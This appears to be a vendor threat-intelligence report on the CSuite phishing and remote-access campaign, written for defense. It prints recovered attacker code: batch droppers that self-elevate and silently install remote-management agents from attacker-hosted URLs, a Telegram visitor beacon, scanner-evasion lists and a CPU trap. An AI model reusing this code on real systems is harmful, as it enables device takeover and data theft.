ANY.RUN researchers investigated CSuite, a phishing and remote-access operation that combines credential theft, Microsoft 365 session hijacking, and the abuse of legitimate management tools. The campaign showed a strong US focus, with 60% of identified victim organizations based in the United States.

By blending trusted business services with legitimate remote-access software, CSuite can give attackers both account and endpoint access while making malicious activity harder to distinguish from normal workflows.

Discover how the operation works, which tools and techniques it relies on, and what SOC teams should watch to detect related activity earlier.

TL;DR

• CSuite is a multi-stage phishing and remote-access operation targeting organizations across the US and Europe. Its campaigns use Adobe, DocuSign, Zoom, SharePoint, Microsoft 365 voicemail, and other trusted business themes to reach victims.
• The operation follows two main attack paths. One delivers legitimate remote-management and endpoint-management tools such as ScreenConnect, Action1, Atera, Syncro, and PDQ Connect. The other steals credentials and Microsoft 365 sessions through phishing and device-code authentication flows.
• US organizations make up the largest identified share. 60% of identified victim organizations were US-based, while 51% of sandbox submissions came from the United States.
• The campaign shows a significant scale. ANY.RUN identified 351 related sandbox analyses across 170 hosts, while the CSuite panel contained 216 unique Chameleon victims, 29 captured Microsoft 365 sessions, 1,593 lure documents, and 15,955 harvested email addresses.
• CSuite relies heavily on legitimate services and software. Hijacked Adobe Document Cloud tenants, Cloudflare Workers, public code hosting, and legitimate management tools help the operation blend malicious activity with normal business infrastructure.
• The strongest link between the campaigns is shared tooling and infrastructure. Delivery pages, phishing panels, domains, operator accounts, and exfiltration channels connect the remote-access and credential-theft activity to the same CSuite operation.

CSuite Threat Overview

CSuite creates risk on both the identity and endpoint sides of the environment. A single campaign can lead to stolen Microsoft 365 access, compromised mailboxes, or direct remote control of employee devices.

With the following Threat Intelligence Lookup query, we can search through recent public sandbox analyses and identify this malicious activity.

TI Lookup: url:”/m/js/utils.js$”

Every page in the set uses the same build, with its own reporting endpoint and a byte-identical visitor alert template: New Visitor Alert – MSI Page. The earliest sample dates to 6 March 2026, and the feeds were still active on 3 September 2026.

The two attack arms were linked through an operator mistake. On 7 August 2026, the same sender shared credentials for a hosting control panel and, three hours later, a remote-desktop host used to administer the CSuite v1.1 panel, registrar, and Cloudflare account. Both were sent to the same recipient, tying the delivery and capture infrastructure to the same operation.

Business impact can include:

• Identity compromise: Stolen credentials and sessions can give attackers access to Microsoft 365 accounts and mailboxes.
• Remote system access: Legitimate management tools can be abused to gain persistent access to employee devices.
• Fraud and impersonation risk: Compromised mailboxes can support invoice fraud, payment redirection, and follow-on phishing.
• Wider operational exposure: Access to both identities and endpoints can expand the scope of an incident across systems and workflows.
• Higher response costs: Teams may need to contain compromised accounts, revoke sessions, remove remote-access tools, and investigate affected hosts.

Important note: The research and statistics were based solely on the CSuite administrator panel. Each operator has their own panel.

Where CSuite Hits Hardest: Sectors, Regions, and Compromise Scale

CSuite activity spans multiple industries and regions, but the data shows a clear concentration around US and EU organizations that rely heavily on Microsoft 365, remote administration, and business email workflows.

The operation also shows a significant scale across both its delivery and account-compromise arms, with hundreds of related sandbox analyses, captured Microsoft 365 sessions, and thousands of harvested email addresses.

Technology, Manufacturing and Government Show the Highest Exposure

CSuite activity spans several industries, with the highest exposure observed among technology, manufacturing, government and administration, and consulting organizations.

20 organizations were identified individually across the capture panel and manually accessed mailboxes. Non-profits and associations made up the largest group, including smaller organizations with Microsoft 365 environments, limited security resources, and active payment workflows.

These shares overlap because a single analysis can carry more than one industry tag. Still, the pattern shows that CSuite is reaching organizations where access to corporate mailboxes, endpoints, and remote-management infrastructure can create broader operational risk.

CSuite Activity Is Concentrated in the US but Extends Globally

The United States accounted for 51% of related sandbox submissions, followed by India at 18%. Activity was also observed in the Philippines, Australia, the United Kingdom, Canada, and 29 other countries.

Victim data points in the same direction: 60% of identified victim organizations were US-based. However, sandbox submissions reflect where activity was investigated, so they should not be treated as a direct measure of victim geography.

The United States concentration covers a county government with three compromised mailboxes, two school districts in Texas, a public library, a regional YMCA, a faith organisation, an energy loan fund, a housing charity and a manufacturer of industrial supplies. The European entries are a French architecture practice, an Italian industrial firm, a French consultancy and a Portuguese medical practitioner. One panel session is tagged for active hands-on work at any given time, so the operators run a small queue and work it in order.

CSuite Attack Chain

1. Lure: The victim gets a document to review. It arrives as an Adobe Document Cloud share invitation sent from a mailbox the group already controls, or as ordinary mail from one of its two sending relays.

2. Gate: The first host the victim touches is a redirector. It runs an anti-bot check, then reads the mail domain the victim typed and routes accordingly: Microsoft accounts one way, Google accounts another, everything else to a generic harvester.

3. Landing page: The victim lands on a counterfeit document viewer — Adobe Reader, DocuSign, Zoom or Dropbox depending on the line. The page reports the visit back to the affiliate, blocks the shortcuts an inquisitive user would reach for, and shows a document that never finishes loading.

4. Handover: The payload reaches the download folder. On the Adobe pages a script click starts it the moment the page opens; on the DocuSign line a button does it, and the server streams the file as an attachment. What arrives is an archive, an installer, or a batch or VBS script a few lines long that fetches the installer once it runs.

5. Execution: The victim opens the file. Instructions on the page frame it as a viewer or an update, and the file asks for elevation. The script droppers self-elevate through PowerShell and then call msiexec on the agent package.

6. Host held: A legitimate management agent lands on the machine — a remote-management client, or in newer builds an endpoint-management agent that enrols the device into a tenant the operator owns. Installation captures the interactive logon, loads into the authentication path at boot, and survives safe mode.

7. Account held: Victims who take the credential branch instead hand over their password and a live session to the panel, which keeps the session alive and hands the operator a mailbox that needs no second factor.

Breakdown of the CSuite Attack

Here is a thorough breakdown of the CSuite attack:

The Lure Page: a Counterfeit Adobe reader that Reports to Telegram

Check sandbox session

Every host in the pivot corpus serves the same page. It renders a counterfeit PDF viewer, the title PDF Viewer, the Adobe Clean typeface, a drawn browser window with an Adobe tab, over a document that sits just out of reach behind a modal. The document is whatever theme the campaign is running that week: a blank business contract in the recovered samples, a licensing agreement in the live run below. The only working control is the button, and the button downloads.

On load the page queries a geolocation service, assembles a visitor record, and posts it to the Telegram bot API. The code reaches the victim unminified, still carrying the setup instructions the kit shipped with:

const TELEGRAM_BOT_TOKEN = '8996595988:******'; 
const TELEGRAM_CHANNEL_ID = '20****165'; 
     
// Telegram Notification Functions 
async function getVisitorInfo() { 
  try { 
    // Get visitor's IP and location info 
    const response = await fetch('https://ipapi.co/json/'); 
    const data = await response.json(); 
// ... 

The record is formatted as a chat message and delivered with one POST: address, country, city, region, time zone and carrier; coordinated and local time; platform, language, screen and window dimensions; and the full user-agent string.

async function sendTelegramNotification(visitorInfo) { 
      try { 
        const message = `?? New Visitor Alert - MSI Page 
         
?? Location Details: 
• IP Address: ${visitorInfo.ip} 
• Country: ${visitorInfo.country} 
• City: ${visitorInfo.city} 
• Region: ${visitorInfo.region} 
• Timezone: ${visitorInfo.timezone} 
• ISP: ${visitorInfo.isp} 
 
? Time Information: 
• UTC Time: ${visitorInfo.timestamp} 
• Local Time: ${visitorInfo.localTime} 
 
?? Device Details: 
• Platform: ${visitorInfo.platform} 
• Language: ${visitorInfo.language} 
• Screen: ${visitorInfo.screenResolution} 
• Window: ${visitorInfo.windowSize} 
 
?? Browser Info: 
• User Agent: ${visitorInfo.userAgent} 
 
--- 
Adobe Acrobat MSI Download Page Visit`; 
 
// ...  
const telegramUrl = `https://api.telegram.org/bot${TELEGRAM_BOT_TOKEN}/sendMessage`; 
const response = await fetch(telegramUrl, { 
  method: 'POST', 
  headers: { 
    'Content-Type': 'application/json', 
  }, 
  body: JSON.stringify({ 
    chat_id: TELEGRAM_CHANNEL_ID, 
    text: message, 
    parse_mode: 'HTML' 
  }) 
}); 
// ... 

Clicking the “View Update” button opens a drawn browser window inside the page, styled as get.adobe.com and titled “Download and launch to view NMLS 2026 Updated Agreement”, with two numbered steps. Step one downloads; step two tells the victim to open the file from the Downloads folder. The browser’s own download panel is where the pretence breaks: the delivered file is NMLS 2026 Updated Agreement.bat.

That batch file is 324 bytes long, and it does one thing:

@echo off 
REM Check if already admin 
fltmc >nul 2>&1 
set CODE=%errorLevel% 
if %CODE% == 0 ( 
    msiexec /i "https://github.com/Ivan3900/test/raw/main/ScreenConnect.ClientSetup.msi" /quiet /norestart 
) else ( 
    REM Re-run the script as admin 
    powershell -Command "Start-Process '%~f0' -Verb RunAs" 
    exit 
) 

fltmc answers whether the script already holds administrative rights; when it does not, PowerShell relaunches the script through the UAC prompt the victim has been primed to accept.

Anti-Analysis Scaffold

The flow is designed to do two things in one visit: install a remote-management client, then redirect the victim to a credential-capture page through window.utils.getObfuscatedUrl(), carrying the victim’s address from the URL fragment.

In both deployments, the m/ directory is missing, leaving window.utils, blacklistSystem, and botTrapSystem undefined. Because each call is protected by a typeof check, the page continues to function:cloaking and redirection fail, but the beacon and payload delivery still work. Telemetry supports this, with 13 consecutive alerts from page A including unfiltered data-centre addresses.

The Gate at The Pivot Path

m/js/utils.js is the file every page in the corpus asks for, and a copy of it sits at that exact path in another sandbox run of the kit. It is 66 KB of unminified, commented JavaScript under the headerEnhanced CAPTCHA Protection Utilities.

The code decides whether a visitor is worth a phishing page. It checks:

• The user-agent against forty crawler and automation signatures — search-engine and link-preview bots, curl, wget, python-requests, and the automation stack: headless, selenium, webdriver,puppeteer, phantom, jsdom.
• The user-agent against thirty-two security-vendor and scanner names — endpoint vendors, mail gateways such as mimecast, proofpoint, barracuda and cofense, and reputation services such asvirustotal, urlscan, netcraft, sucuri and zscaler.
• The visitor’s address against twenty hard-coded addresses and two /24 ranges, with a helper that adds new ones at runtime.
• The address itself twice over, through a STUN request to Google’s server and through a public lookup service, so a browser behind a proxy still gives up a local candidate.
• The country behind that address against a six-entry block list, resolved through a public geolocation API.
• The browser fingerprint against a ban list held in localStorage — three failed checks and that fingerprint is refused for 24 hours.
• Whether the environment behaves like a browser at all: storage, canvas, WebGL and font access, plugin state, time-zone consistency, and platform against user-agent.
• Whether a human is present: mouse-velocity variance, keystrokes, touch events, interaction count and time on page.
• A reCAPTCHA v3 score against a threshold that comes from server-side configuration.

Two name lists do most of that work:

knownBotSignatures: [ 
    "googlebot", "bingbot", "yandexbot", "slurp", "duckduckbot", "baiduspider", 
    ... 
    "scanner", "crawler", "spider", "headless", "scraper", "selenium", "webdriver", 
    "puppeteer", "phantom", "nightmare", "jsdom" 
], 
 
// Known security tools and email security scanners - REDUCED LIST 
securityTools: [ 
    "avast", "avg", "avira", "bitdefender", "kaspersky", "mcafee", "norton", 
    "eset", "f-secure", "trend micro", "sophos", "symantec", "trustwave", "forcepoint", 
    "checkpoint", "barracuda", "mimecast", "proofpoint", "fireeye", "crowdstrike", 
    "cyren", "spamhaus", "spamcop", "netcraft", "virustotal", "sucuri", "urlscan", 
    "zscaler", "office365", "microsoft-security", "cisco", "forcepoint", "cofense" 
] 

Read the second list as the set of checks the operator expects a lure to have to survive; forcepoint appears in it twice, which says something about how it was assembled. Country filtering is five lines, and the comment reads like a template default nobody revisited:

const geoBlockSystem = { 
    blockedCountries: ["RU", "CN", "KP", "IR", "SY", "CU"], // Example: block Russia, China, North Korea, Iran, Syria, Cuba 
    ... 
    if (this.blockedCountries.includes(this.visitorCountry)) { 
        this.blockAction(); 
    } 

A visitor who fails any check gets one of three fake maintenance pages, “We’re making some improvements”, a 503 with a generated error reference, a database-migration notice, and every button on them is wired to a trap:

// Create an infinite loop that consumes CPU and memory 
function activateTrap() { 
    showLoadingMessage(); 
    ... 
    for (let i = 0; i < 10000; i++) { 
        memoryConsumer.push(Array(1000).fill(Math.random().toString(36))); 
    } 
    let result = 0; 
    for (let i = 0; i < 10000000; i++) { 
        result += Math.sqrt(i) * Math.cos(i) / (1 + Math.sin(i)); 
    } 
    setTimeout(infiniteLoop, 10); 
} 

The trap also arms itself on a timer, 30 to 120 seconds after load, “to catch bots that don’t interact but wait on the page” — a direct shot at automated analysis that opens a URL and idles.

The PHP Build of the Same Kit

With the following TI Lookup query, we can search through recent public sandbox analyses and identify this malicious activity.

TI Lookup: url:”/e-sign_files/Icon-pdf-file-svg.png$” OR url:”eDocusign.php$” OR url:”/e-sign.php$”

This build is public in a sandbox run of its own: ANY.RUN’s analysis session of 27 August 2026, and the earliest public submission of the same build dates to 2 April 2026. It opens with a forged DocuSign envelope.

The Adobe pages are a static export. The DocuSign line runs the original server-side build, where five files carry the whole flow: index.php, eDocusign.php, e-sign.php, download.php andsettings.php. The header comment names its author and a contact handle, DocuSign BY <NICKNAME> tg-@…, and the alert footer repeats the same signature seen in the DocuSign templates in open telemetry, which is what marks the build as one author’s work.

index.php is the entry point. It reads the visitor from the request, resolves geolocation server-side, reports, and moves the visitor on:

$ip      = $_SERVER['REMOTE_ADDR'] ?? 'UNKNOWN'; 
$agent   = $_SERVER['HTTP_USER_AGENT'] ?? 'UNKNOWN'; 
$referer = $_SERVER['HTTP_REFERER'] ?? 'Direct / None'; 
$geo = @json_decode(file_get_contents("http://ip-api.com/json/$ip"), true); 
$message = "🔔<b> DocuSign Visit Alert </b>🔔\n\n" . "🕒 Time: $time\n" . "🧬 IP: $ip\n" . ...; 
sendTelegramMessage($message); 
header("Location: eDocusign.php"); 

eDocusign.php is the decoy. A business-proposal letter is rendered and then blurred with filter: blur(6px), with a PDF icon and a spinner floating above it, so the visitor sees a document that appears to be loading. Copy, save, print, select-all, view-source and drag are disabled, and after five seconds the page moves on by itself:

<div class="protected">   <!-- the whole letter, rendered then blurred --> 
<div class="pdf-overlay"><img src="e-sign_files/Icon-pdf-file-svg.png" class="pdf-icon"><div class="spinner"></div></div> 
... 
setTimeout(function () { window.location.href = "e-sign.php"; }, 5000); 

e-sign.php carries DocuSign branding, an inline vector logo and a single instruction, “Open the downloaded attachment on your computer”, behind a button that calls download.php.

download.php handles delivery and the second report. It picks between a local file and a remote link on one flag, resolves the client address through Cloudflare headers before falling back to the socket address, classifies device and browser from the user agent, sends a “DocuSign Download Alert”, then flushes the output buffers and streams the installer with attachment headers:

$USE_LOCAL_DOWNLOAD = true; // true = file download, false = link download 
$localFile = $USE_LOCAL_DOWNLOAD ? __DIR__ . '/files/DocusignEditSetup.msi' : ''; 
$ip = $_SERVER['HTTP_CF_CONNECTING_IP'] 
    ?? $_SERVER['HTTP_X_FORWARDED_FOR'] 
    ?? $_SERVER['REMOTE_ADDR'] 
    ?? 'Unknown'; 

settings.php holds the reporting credentials and the send routine, and it guards itself against being fetched directly:

if (basename(__FILE__) == basename($_SERVER["SCRIPT_FILENAME"])) { 
    http_response_code(403); 
    exit("Access denied."); 
} 

Installing the Agent: Four Methods, One Outcome

Every chain in this cluster ends the same way: a legitimate remote-management or device-management agent installed on the machine and registered to a tenant the operator holds. The tag row on the pivot query reads as a product catalogue on its own: screenconnect, connectwise, datto, action1, logmeinrescue, fleetdeck, simplehelp and ultravnc.

What changes between campaigns is how the installer gets onto the disk, and there are four ways in use.

The client that lands most often is a ScreenConnect build. Installation does three things that push the outcome past ordinary remote access: a credential provider is registered, so the operator sees the interactive logon; an authentication package is appended to LSA, which loads attacker code into the authentication path at boot; and the service is registered to start in safe mode with networking, so it survives the first thing an administrator usually tries.

The Script Droppers

Two generations of script dropper run alongside the archives. The newer one is the 324-byte batch file shown earlier: an fltmc check for administrative rights, a PowerShell relaunch through UAC, andmsiexec pointed straight at a raw URL on the group’s code-hosting account.

The older generation is 1.1 KB and stages the package itself. It ships as Adobe Installer V3572.bat, Updated Service Agreement 2026.bat and Update_6779.bat; the three are one file with the variable names, the console title, the temporary filenames and the download URL swapped:

:: --- Self-elevate (UAC prompt right after the brief CMD flash) --- 
net session >nul 2>&1 
if %errorLevel% NEQ 0 ( 
    powershell -WindowStyle Hidden -Command "Start-Process '%~f0' -Verb RunAs" 
    exit /b 
) 
:: --- Write a tiny VBS so the fake popup auto-times-out --- 
> "%kdpS%" echo Set s = CreateObject("WScript.Shell") 
>>"%kdpS%" echo s.Popup "Unexpected error. The operation will retry.", 4, "Application Error", 48 
start "" wscript.exe "%kdpS%" 
:: --- Download the MSI via PowerShell WebClient --- 
powershell -WindowStyle Hidden -Command "(New-Object Net.WebClient).DownloadFile('https://app.action1.com/agent/5c2cda44-433f-11f1-9ef8-332f425c6d9a/Windows/agent(My_Organization).msi', '%LbiAu%')" 
:: --- Install silently (blocks until msiexec finishes) --- 
if exist "%LbiAu%" msiexec /i "%LbiAu%" /qn 
timeout /t 5 /nobreak >nul 
del "%LbiAu%" /q >nul 2>&1 
del "%kdpS%" /q >nul 2>&1 

A four-second Application Error popup, written out as a throwaway VBS so that it dismisses itself, covers the seconds while the agent installs, and both temporary files are deleted afterwards. The three copies fetch from three different places: the operator’s own Action1 tenant on the vendor’s cloud, an R2 bucket, and a self-hosted ScreenConnect server at 64.204.180[.]203:8040 addressed as/Bin/Adobe.ClientSetup.msi?e=Access&y=Guest. The temporary names are chosen to read as maintenance — patch651.msi, patch495.msi, svchost805.vbs — and the console title is always Update_ and four digits. The VBS variant of the same dropper, Amended_Agreement 02026.vbs, assembles the same msiexec command line as a string.

The affiliate behind lure page B runs four more lure lines from arubanetworks-inc[.]com and sharepointer-dr[.]com, all reporting to the same endpoint.

The DocuSign line alone recorded 124 page visits and 63 payload downloads between 30 July and 11 August 2026.

Network Infrastructure

Operator’s Lure pages and payloads sit on one hosting on a server fronted by greenbullet[.]ba. Four certificates issued on one day, 4 August 2026, cover gddfzxa[.]online, ghs.coorpes[.]com,greaterheights[.]sbs and mmswerod[.]sbs, and nothing on the account belongs to a legitimate business: three of those four names have no prior record anywhere, and the fourth is the random-string domain that serves the lures.

Two things in this layer outlast everything else. The shared script path survived seven months of domain rotation, and the remote-management tenant identifier is fixed per build, so it marks every host the group installs on.

Attribution

Several parts of the investigation point back to the same operating environment, including shared infrastructure, delivery tooling, panel domains, and operator-controlled accounts. Together, these links connect the phishing, session-capture, and remote-access activity to the operation tracked here as CSuite.

CSuite v1.1

The panel calls itself CSuite v1.1 and administers itself from, for example, maillive[.]sbs, which doubles as a device-code landing page. It carries 23 modules. The ones that matter:

The Adobe PDF template in that list is one of the observations that binds the two arms. The panel ships a landing template and a whole sender module built for the Adobe theme, and the delivery arm serves Adobe-themed pages from a domain that appears in the panel’s own registry.

Cluster Expansion

The panel’s own working modules carry far more infrastructure than the delivery chain ever touched. Four artifact classes expand the cluster.

The domain registry. Thirty-eight domains, each row tagged with a role, a capture mode, an anti-bot setting, a geographic filter and a Cloudflare Worker binding. Registry additions run from 2 April to 14 August 2026. Fourteen are live lure hosts, eight are redirectors, two run the Chameleon harvester, three are post-capture redirect targets, and seven sit on borrowed or borrowed-looking infrastructure: the shared-hosting domains behind the Adobe pages, plus two names built to read as organizations the group targets.

The Auto Redirect module shows how those hosts chain. A visitor who enters an address on pdfsecurtoview[.]sbs — 61 clicks recorded — is routed by provider: Microsoft accounts to pdfsecurtoview365[.]sbs, Google accounts to corporate-sync-gate[.]net, everything else to the Chameleon harvester. Three redirectors send Microsoft victims to /verify/<uuid> paths on two domains that read as real organisations. ambitiousaboutautismorguk[.]com collapses the address of a UK autism charity into a single .com label, and solarengyloanfunds[.]com drops a letter from the name of an energy loan fund that already appears in the panel’s own victim list. Both are registrations of the group’s own, built to survive a glance at the address bar.

Payload staging on a public code-hosting account. The ScreenConnect installers pushed by the delivery arm are served straight from a public GitHub account, Ivan3900. Two of its raw URLs appear in the campaign’s own delivery telemetry — github[.]com/Ivan3900/mobi/raw/main/ScreenConnect.ClientSetup.msi and github[.]com/Ivan3900/jppp/raw/main/ScreenConnect.ClientSetup.msi, both uploaded on 18 August 2026 — and a third is the one the licensing-themed batch dropper calls, github[.]com/Ivan3900/test/raw/main/ScreenConnect.ClientSetup.msi, uploaded on 31 August 2026. The mobi and test copies are the same file; jppp carries its own build pointed at a different relay. The account holds nine repositories of this kind: lure pages committed as index.html, and beside them the installers each page hands out.

The staged installers point at self-hosted ScreenConnect servers of their own. Four are configured across the set, all with guest access parameters:

The same account shows how wide the remote-management arsenal runs. Alongside ScreenConnect it stages Action1 agents renamed to Adobe_Acrobat_V6trj.msi and Dotloop AgentSetup_V34.msi, an Atera build, and two 20 MB agents carrying Syncro strings under the names Adobe_AgentInstallerV367.exe and Dotloop_AgentInstallerV367.exe. Delivery telemetry adds a fifth vendor: PDQConnectAgent_ZoomUpdater.msi, served 46 times from a Cloudflare R2 bucket alongside Zoom_InstallerX64.zip.

Two sending relays with their own DKIM. Lure mail leaves through mail.wirsann[.]com (188.127.227[.]18) and mail.boratlongyear[.]com (141.133.174[.]208), both on 587/STARTTLS with a PowerMTA port on 2525. Each has a default._domainkey DKIM record published, so the selector enumerates every sending domain configured against the relay.

Other Attacks Found During the Investigation

The same tooling and infrastructure also appeared in additional attacks that exposed different parts of the CSuite workflow. These cases help show how the operation adapts its delivery and capture methods while keeping the same underlying components.

A Complete Deployment, Gate and Capture in One Visit

The Adobe exports and the DocuSign build both deliver software. A third deployment of the same kit, captured in a public sandbox run on 7 July 2026, does the other job of the operation: it takes credentials, and it does so through the Chameleon module described above. It is also the run that yielded the m/js/utils.js gate examined at the start of this report — the same kit with none of its parts missing: ANY.RUN session.

It runs from /upload/cgi/ on a compromised Australian escrow site, escrowadmin[.]com[.]au, and the entry link carries the target’s own address in the query string. Every step between that link and the login form is a gate:

Server-side pieces sit on both sides of the browser checks: the verdict is recorded by process.php before the visitor moves on, the hop to the credential page is licensed by a token with a timestamp, and blacklist_api.php takes the outcome back so a refused visitor stays refused. The Adobe exports carry the browser-side calls of this design and none of the server side, which is why their cloaking does nothing at all.

Device-Code Phishing Attacks

Alongside credential phishing, CSuite uses a device-code flow that does not require the victim to enter a password on the phishing page. Instead, the victim receives a short code and is directed to Microsoft’s legitimate device-login page. Entering the code authorizes the attacker-initiated OAuth request, giving the operator access and refresh tokens.

The three observed samples use the same Next.js frontend. The page loads its lure configuration from /api/lure/config, initiates the device-code request through /api/initiate, copies the user code to the clipboard, and polls /api/status until authentication is completed.

The bundle includes seven lure templates: Teams, voicemail, SharePoint, DocuSign, Adobe, WeTransfer, and DocSend, each with its own branding and call to action.

Sample (PDF Viewer): ANY.RUN session

Host docsendsr[.]online, adobe template. The page draws an Adobe Acrobat reader with a five-page document behind a modal, titled “Secure PDF Download”, and offers one control: Verify with Microsoft.

The click produces the code presented as “YOUR VERIFICATION CODE” with a copy button and the instruction to paste it on the Microsoft sign-in page.

Continuing opens the genuine Microsoft Login page in a second window, with the code already on the clipboard. Everything the victim sees from this point is Microsoft’s.

Sample (SharePoint): ANY.RUN session

Host selectivelife03[.]sbs, sharepoint template, served over plain HTTP. The background is a mock SharePoint library, “Documents › Shared with me” with blurred tiles for Q4_Report.xlsx, Project_Plan.docx and others, and the modal names one file, ENCRYPTED_DOCUMENT.PDF, while it “prepares secure verification”.

The code arrives with numbered instructions: copy the code, click continue, paste it to verify. The three-step wording exists because the flow needs the victim to carry the code across to another site.

he device-login window opens with the code already typed into Microsoft’s field, and the lure switches its button to “Copied!”.

Sample (Voice mail): ANY.RUN session

Host documentensono[.]sbs, voicemail template. A Microsoft 365 notification says a voicemail is waiting, complete with caller, duration, a progress bar and a footer about Teams voicemail settings and asks the visitor to sign in to hear it.

Statistics. Victimology

Victims of the Capture Arm

The most reliable victim figure for this operation comes from the CSuite Chameleon module, which reports every credential submission it takes. Raw counting overstates it badly, since the page reports the first password and then asks for it a second time, and since the operators test their own landing pages before a campaign goes live.

After the operator dry runs are separated out and the remaining submissions are merged on the two identity fields, the module reports, the address entered and the victim’s own IP, 778 raw records resolve to 216 unique victims.

Those 216 are the victims of one module. The panel’s other capture paths, Sessions, Adobe Sender and the Offline File generator, write into the panel database and report nothing outward, so their victims are absent from the count entirely. The 29 Office 365 sessions the panel holds, and the mailboxes worked by hand, sit on top of the 216.

Reach of The Delivery Arm

The lure pages count their own traffic, and the shape of that funnel says more than the raw event totals. The Adobe download-page campaign logged 14,515 visits from 3,585 distinct addresses; the separate download-triggered stream, which fires only when the archive actually leaves the server, logged 1,706 events from 914 addresses. Roughly a quarter of the machines that reach a page take the payload.

Recorded Volumes

Figures come from ANY.RUN sandbox telemetry, from the alert streams the lure pages generate themselves, and from the counters the operation keeps in its own tooling.

Two of the panel’s thirty-eight domains and one of its seventeen recorded victims appear anywhere in public telemetry. That ratio is the clearest available measure of how much of this operation stays out of open sources.

How Organizations Can Reduce the Risk from CSuite

CSuite can compromise both identities and endpoints through phishing, device-code authentication, stolen sessions, and legitimate management tools. Defending against it requires visibility across the full attack chain, from the initial lure to account and host access.

Investigate Suspicious Lures Before They Reach Users

CSuite uses fake Adobe, DocuSign, Zoom, SharePoint, and Microsoft 365 pages to deliver scripts, installers, and authentication flows. Suspicious files and links should be analyzed in an isolated environment before users interact with them.

ANY.RUN’s Interactive Sandbox can expose redirects, PowerShell execution, payload delivery, anti-analysis behavior, and remote-management installation across the full attack chain.

Look Beyond the First Indicator

A single malicious domain or URL may be part of a much larger CSuite cluster. Recurring artifacts such as /m/js/utils.js, shared lure patterns, and related infrastructure can help analysts connect activity that would otherwise appear separate.

ANY.RUN Threat Intelligence Lookup lets analysts pivot from domains, IPs, URLs, files, and recurring paths to connected infrastructure.

Keep Detection Current as Infrastructure Changes

CSuite rotates domains and hosting, which limits the value of static blocklists alone. Security teams need fresh indicators that can be applied across existing controls as new infrastructure appears.

ANY.RUN Threat Intelligence Feeds can deliver current malicious domains, IPs, URLs, and other IOCs into SIEM, EDR, firewalls, and other security tools.

Correlate Identity and Endpoint Activity

Unexpected Microsoft 365 sessions, device-code authentication, and new management-agent installations should be investigated together. With CSuite, activity that looks like separate identity and endpoint incidents may belong to the same attack.

Contain More Than the Password

If session or device-code compromise is suspected, revoke active sessions and tokens, review OAuth grants and mailbox rules, and investigate activity performed through the affected account. Unauthorized management agents should also be removed and affected endpoints checked for persistence.

Conclusion

CSuite combines phishing, session theft, and remote-access delivery within a single operation, giving attackers multiple paths into both accounts and endpoints.

For security teams, the key challenge is that these paths can appear separate while supporting the same campaign. Detection therefore needs to connect identity activity, phishing infrastructure, and unexpected use of legitimate management tools.

The scale seen in CSuite also suggests that the activity extends beyond what any single telemetry source can capture, making early correlation and cross-layer visibility especially important.

About ANY.RUN

ANY.RUN is a leading provider of interactive malware analysis and threat intelligence solutions trusted by 16,000+ organizations and 700,000+ security professionals worldwide, including 74% of the Fortune 100.

Its Interactive Sandbox and Threat Intelligence solutions help SOC teams analyze suspicious files and URLs, uncover malicious behavior, enrich alerts with actionable context, and connect related activity across files, infrastructure, and campaigns. This helps teams investigate threats faster, make more confident response decisions, and contain malicious activity before it creates wider business impact.

TTPs (MITRE ATT&CK)

IOCs

Highest-value indicators

• /m/js/utils.js — URI path shared by every page of the kit, unchanged for seven months across 170 domains
• url:”/m/js/utils.js$” and url:”/e-sign_files/Icon-pdf-file-svg.png$” OR url:”eDocusign.php$” OR url:”/e-sign.php$” — the two sandbox-telemetry queries that enumerate the static export and the PHP build
• instance-t7o41i-relay[.]screenconnect[.]com — remote-management command channel
• /.DocuSign/ with the file set index.php, eDocusign.php, e-sign.php, download.php, settings.php — the PHP build, deployed both at document root and under a nested review.signal-doc.cloud/ path
• hxxps://localcontex[.]online/AdobecloudReader/pdf_Reader_en_install.msi, hxxps://localcontex[.]online/review.signal-doc.cloud/.DocuSign/ — current delivery paths of the management-agent payload

Domains

• gddfzxa[.]online
• gddfzxa[.]online
• ghs.coorpes[.]com
• greaterheights[.]sbs
• mmswerod[.]sbs
• greenbullet[.]ba
• emsafetoproceedtaward[.]top
• maillive[.]sbs
• arubanetworks-inc[.]com
• sharepointer-dr[.]com
• stubborn-academy[.]icu
• corporate-sync-gate[.]net
• legacy-bridge-node[.]net
• conferenceuniverses[.]buzz
• zerichoproject[.]org
• pdfsecurtoview[.]sbs, pdfsecurtoview[.]cfd, pdfsecurtoview[.]info
• pdfsecurtoview365[.]sbs, pdfsecurtoview365[.]cfd, pdfsecurtoviewsuite[.]sbs
• pdfsecurtoviewothers[.]sbs, pdfsecurtoviewothers[.]cfd
• docsendsr[.]online, docseed[.]online, docseedn[.]online
• documentsonitustechnologies[.]sbs, downloaddocumentcontechbuilding[.]sbs, documentationreviewdocument2026review[.]sbs
• selectivelife01[.]sbs, pikecac[.]cfd, qrcoderuser[.]cfd, fincapitalxcom[.]cfd
• allshore-io[.]cam, sharerpoint[.]cam, voicermailsmessager[.]cam, keepsecurepasserword[.]cam
• giiro[.]net, expressdocumentdelivery[.]org, aviationpioneers[.]info
• ambitiousaboutautismorguk[.]com, solarengyloanfunds[.]com — lookalike domains of a UK charity and of a victim organisation, used for /verify/ credential stages
• checkingweb[.]net — counterfeit PDF viewer serving the licensing-themed batch dropper
• cellumbio[.]com — sending domain of the licensing-themed lure mail
• mail.wirsann[.]com, mail.boratlongyear[.]com — lure sending relays
• sqrd.m365.sharedfile[.]online, sqrd.m36s.sharedfile[.]tech, shared.file.nn365[.]cloud, shared.note.nn365[.]cloud, shared.file.cnrv[.]tech, file.shared.cnrv[.]tech,loq.file.cnrv[.]online, m36nx.file.cnrv[.]online, file.shared.m36s[.]site, file.shared.myscript[.]sbs — Microsoft 365 document lures on the token-fragment paths
• usoffweb69[.]top, netcoxweb[.]top, coxnetwork[.]top, doc.lauraice[.]xyz, docuread[.]im, docusign.web-viewww[.]es — DocuSign-themed hosts serving the PHP build under nested /doc/ and/dc/ paths

Addresses

• 207.189.19[.]40:26688 — remote-desktop foothold
• 185.174.102[.]34 — GSuite panel
• 190.123.46[.]122 — kit origin server
• 188.127.227[.]18, 141.133.174[.]208 — sending relays
• 91.92.41[.]114:8041, 212.189.40[.]73:8041, 155.254.26[.]180:8041, 64.204.180[.]203:8040 — self-hosted ScreenConnect servers behind the staged installers
• 31.57.147[.]133, 31.57.38[.]60, 102.67.5[.]132, 191.101.130[.]42, 102.88.167[.]38 — operator addresses

Storage buckets

• btconnect-com, totalmfgsys-com, vistagrandedairy-com, docsend-765676, docsends-756776, gsuitis-07971, invite-67976, rigibore-8989

Files

Staging account

• github[.]com/Ivan3900